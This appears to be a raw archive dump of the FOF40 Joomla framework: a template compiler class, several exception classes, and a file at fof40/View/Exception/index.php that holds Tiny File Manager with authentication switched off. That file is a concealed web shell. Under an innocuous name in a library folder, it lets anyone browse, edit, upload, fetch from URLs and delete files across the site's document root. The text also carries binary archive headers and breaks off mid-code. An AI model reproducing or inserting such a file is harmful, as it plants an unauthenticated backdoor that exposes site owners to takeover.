\\Joomla\\CMS\\Language\\Text::plural$expression; ?>"; } /** * Compile the token statements into valid PHP. * * @param string $expression * * @return string */ protected function compileToken(?string $expression): string { return "<?php echo \$this->container->platform->getToken(true); ?>"; } /** * Compile the else statements into valid PHP. * * @param string $expression * * @return string */ protected function compileElse(?string $expression): string { return "<?php else: ?>"; } /** * Compile the for statements into valid PHP. * * @param string $expression * * @return string */ protected function compileFor(?string $expression): string { return "<?php for{$expression}: ?>"; } /** * Compile the foreach statements into valid PHP. * * @param string $expression * * @return string */ protected function compileForeach(?string $expression): string { return "<?php foreach{$expression}: ?>"; } /** * Compile the forelse statements into valid PHP. * * @param string $expression * * @return string */ protected function compileForelse(?string $expression): string { $empty = '$__empty_' . ++$this->forelseCounter; return "<?php {$empty} = true; foreach{$expression}: {$empty} = false; ?>"; } /** * Compile the if statements into valid PHP. * * @param string $expression * * @return string */ protected function compileIf(?string $expression): string { return "<?php if{$expression}: ?>"; } /** * Compile the else-if statements into valid PHP. * * @param string $expression * * @return string */ protected function compileElseif(?string $expression): string { return "<?php elseif{$expression}: ?>"; } /** * Compile the forelse statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEmpty(?string $expression): string { $empty = '$__empty_' . $this->forelseCounter--; return "<?php endforeach; if ({$empty}): ?>"; } /** * Compile the while statements into valid PHP. * * @param string $expression * * @return string */ protected function compileWhile(?string $expression): string { return "<?php while{$expression}: ?>"; } /** * Compile the end-while statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndwhile(?string $expression): string { return "<?php endwhile; ?>"; } /** * Compile the end-for statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndfor(?string $expression): string { return "<?php endfor; ?>"; } /** * Compile the end-for-each statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndforeach(?string $expression): string { return "<?php endforeach; ?>"; } /** * Compile the end-if statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndif(?string $expression): string { return "<?php endif; ?>"; } /** * Compile the end-for-else statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndforelse(?string $expression): string { return "<?php endif; ?>"; } /** * Compile the extends statements into valid PHP. * * @param string $expression * * @return string */ protected function compileExtends(?string $expression): string { if (starts_with($expression, '(')) { $expression = substr($expression, 1, -1); } $data = "<?php echo \$this->loadAnyTemplate($expression); ?>"; $this->footer[] = $data; return ''; } /** * Compile the include statements into valid PHP. * * @param string $expression * * @return string */ protected function compileInclude(?string $expression): string { if (starts_with($expression, '(')) { $expression = substr($expression, 1, -1); } return "<?php echo \$this->loadAnyTemplate($expression); ?>"; } /** * Compile the jlayout statements into valid PHP. * * @param string $expression * * @return string */ protected function compileJlayout(?string $expression): string { if (starts_with($expression, '(')) { $expression = substr($expression, 1, -1); } return "<?php echo \\FOF40\\Layout\\LayoutHelper::render(\$this->container, $expression); ?>"; } /** * Compile the stack statements into the content * * @param string $expression * * @return string */ protected function compileStack(?string $expression): string { return "<?php echo \$this->yieldContent{$expression}; ?>"; } /** * Compile the push statements into valid PHP. * * @param string $expression * * @return string */ protected function compilePush(?string $expression): string { return "<?php \$this->startSection{$expression}; ?>"; } /** * Compile the endpush statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndpush(?string $expression): string { return "<?php \$this->appendSection(); ?>"; } /** * Compile the route statements into valid PHP. * * @param string $expression * * @return string */ protected function compileRoute(?string $expression): string { return "<?php echo \$this->container->template->route{$expression}; ?>"; } /** * Compile the css statements into valid PHP. * * @param string $expression * * @return string */ protected function compileCss(?string $expression): string { return "<?php \$this->addCssFile{$expression}; ?>"; } /** * Compile the inlineCss statements into valid PHP. * * @param string $expression * * @return string */ protected function compileInlineCss(?string $expression): string { return "<?php \$this->addCssInline{$expression}; ?>"; } /** * Compile the inlineJs statements into valid PHP. * * @param string $expression * * @return string */ protected function compileInlineJs(?string $expression): string { return "<?php \$this->addJavascriptInline{$expression}; ?>"; } /** * Compile the js statements into valid PHP. * * @param string $expression * * @return string */ protected function compileJs(?string $expression): string { return "<?php \$this->addJavascriptFile{$expression}; ?>"; } /** * Compile the jhtml statements into valid PHP. * * @param string $expression * * @return string */ protected function compileJhtml(?string $expression): string { return "<?php echo \\Joomla\\CMS\\HTML\\HTMLHelper::_{$expression}; ?>"; } /** * Compile the `sortgrid` statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileSortgrid(?string $expression): string { return "<?php echo \FOF40\Html\FEFHelper\BrowseView::sortGrid{$expression} ?>"; } /** * Compile the `fieldtitle` statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileFieldtitle(?string $expression): string { return "<?php echo \FOF40\Html\FEFHelper\BrowseView::fieldLabel{$expression} ?>"; } /** * Compile the `modelfilter($localField, [$modelTitleField, $modelName, $placeholder, $params])` statements into * valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileModelfilter(?string $expression): string { return "<?php echo \FOF40\Html\FEFHelper\BrowseView::modelFilter{$expression} ?>"; } /** * Compile the `selectfilter($localField, $options [, $placeholder, $params])` statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileSelectfilter(?string $expression): string { return "<?php echo \FOF40\Html\FEFHelper\BrowseView::selectFilter{$expression} ?>"; } /** * Compile the `searchfilter($localField, $searchField = null, $placeholder = null, array $attributes = [])` * statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileSearchfilter(?string $expression): string { return "<?php echo \FOF40\Html\FEFHelper\BrowseView::searchFilter{$expression} ?>"; } /** * Compile the media statements into valid PHP. * * @param string $expression * * @return string */ protected function compileMedia(?string $expression): string { return "<?php echo \$this->container->template->parsePath{$expression}; ?>"; } /** * Compile the modules statements into valid PHP. * * @param string $expression * * @return string */ protected function compileModules(?string $expression): string { return "<?php echo \$this->container->template->loadPosition{$expression}; ?>"; } /** * Compile the module statements into valid PHP. * * @param string $expression * * @return string */ protected function compileModule(?string $expression): string { return "<?php echo \$this->container->template->loadModule{$expression}; ?>"; } /** * Compile the editor statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEditor(?string $expression): string { return '<?php echo \\Joomla\\CMS\\Editor\\Editor::getInstance($this->container->platform->getConfig()->get(\'editor\', \'tinymce\'))' . '->display' . $expression . '; ?>'; } /** * Gets the tags used for the compiler. * * @param bool $escaped * * @return array */ protected function getTags(bool $escaped = false): array { $tags = $escaped ? $this->escapedTags : $this->contentTags; return array_map('stripcslashes', $tags); } } PK���\�q��(fof40/View/Exception/PossiblySuhosin.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the access to the requested resource is forbidden under the current execution context */ class PossiblySuhosin extends RuntimeException { public function __construct(string $message = "", int $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF40_VIEW_POSSIBLYSUHOSIN'); } parent::__construct($message, $code, $previous); } } PK���\ps���.fof40/View/Exception/UnrecognisedExtension.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Exception; defined('_JEXEC') || die; use Exception; use InvalidArgumentException; use Joomla\CMS\Language\Text; /** * Exception thrown when we can't figure out which engine to use for a view template */ class UnrecognisedExtension extends InvalidArgumentException { public function __construct(string $path, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_VIEW_UNRECOGNISEDEXTENSION', $path); parent::__construct($message, $code, $previous); } } PK���\�Dj��(fof40/View/Exception/AccessForbidden.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the access to the requested resource is forbidden under the current execution context */ class AccessForbidden extends RuntimeException { public function __construct(string $message = "", int $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'); } parent::__construct($message, $code, $previous); } } PK���\��v���#fof40/View/Exception/EmptyStack.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we are trying to operate on an empty section stack */ class EmptyStack extends RuntimeException { public function __construct(string $message = "", int $code = 500, Exception $previous = null) { $message = Text::_('LIB_FOF40_VIEW_EMPTYSECTIONSTACK'); parent::__construct($message, $code, $previous); } } PK���\Ll���&fof40/View/Exception/CannotGetName.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we can't get a Controller's name */ class CannotGetName extends RuntimeException { public function __construct(string $message = "", int $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF40_VIEW_ERR_GET_NAME'); } parent::__construct($message, $code, $previous); } } PK���\W�\���&fof40/View/Exception/ModelNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we can't get a Controller's name */ class ModelNotFound extends RuntimeException { public function __construct(string $path, string $viewName, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_VIEW_MODELNOTINVIEW', $path, $viewName); parent::__construct($message, $code, $previous); } } PK���\MS�V�V�fof40/View/Exception/index.phpnu�[���<?php //Default Configuration $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}'; /** * H3K | Tiny File Manager V2.4.3 * CCP Programmers | ccpprogrammers@gmail.com * https://tinyfilemanager.github.io */ //TFM version define('VERSION', '2.4.3'); //Application Title define('APP_TITLE', 'Tiny File Manager'); // --- EDIT BELOW CONFIGURATION CAREFULLY --- // Auth with login/password // set true/false to enable/disable it // Is independent from IP white- and blacklisting $use_auth = false; // Login user name and password // Users: array('Username' => 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345 ); //set application theme //options - 'light' and 'dark' $theme = 'dark'; // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = '?img=favicon'; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 2048; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = './config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('FM_THEME', $theme); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET['img'])) { fm_show_image($_GET['img']); } // Validate connection IP if($ip_ruleset != 'OFF'){ $clientIp = $_SERVER['REMOTE_ADDR']; $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg('Access denied. IP restriction applicable', 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?> <section class="h-100"> <div class="container h-100"> <div class="row justify-content-md-center h-100"> <div class="card-wrapper"> <div class="card fat <?php echo fm_get_theme(); ?>"> <div class="card-body"> <form class="form-signin" action="" method="post" autocomplete="off"> <div class="form-group"> <div class="brand"> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager"> <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/> <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/> <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g> </svg> </div> <div class="text-center"> <h1 class="card-title"><?php echo APP_TITLE; ?></h1> </div> </div> <hr /> <div class="form-group"> <label for="fm_usr"><?php echo lng('Username'); ?></label> <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus> </div> <div class="form-group"> <label for="fm_pwd"><?php echo lng('Password'); ?></label> <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required> </div> <div class="form-group"> <?php fm_show_message(); ?> </div> <div class="form-group"> <button type="submit" class="btn btn-success btn-block mt-4" role="button"> <?php echo lng('Login'); ?> </button> </div> </form> </div> </div> <div class="footer text-center"> —— © <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> —— </div> </div> </div> </div> </section> <?php fm_show_footer_login(); exit; } } // update root path if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) { $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path; } // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "<h1>Root path \"{$root_path}\" not found!</h1>"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', $exclude_items); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? 'Folder <b>%s</b> deleted' : 'File <b>%s</b> deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder <b>%s</b> not deleted' : 'File <b>%s</b> not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Invalid file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new))); } else { fm_set_msg('File extension is not allowed', 'error'); } } else { fm_set_msg(sprintf('File <b>%s</b> already exists', fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder <b>%s</b> already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder <b>%s</b> not created', fm_enc($new)), 'error'); } } } else { fm_set_msg('Invalid characters in file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); 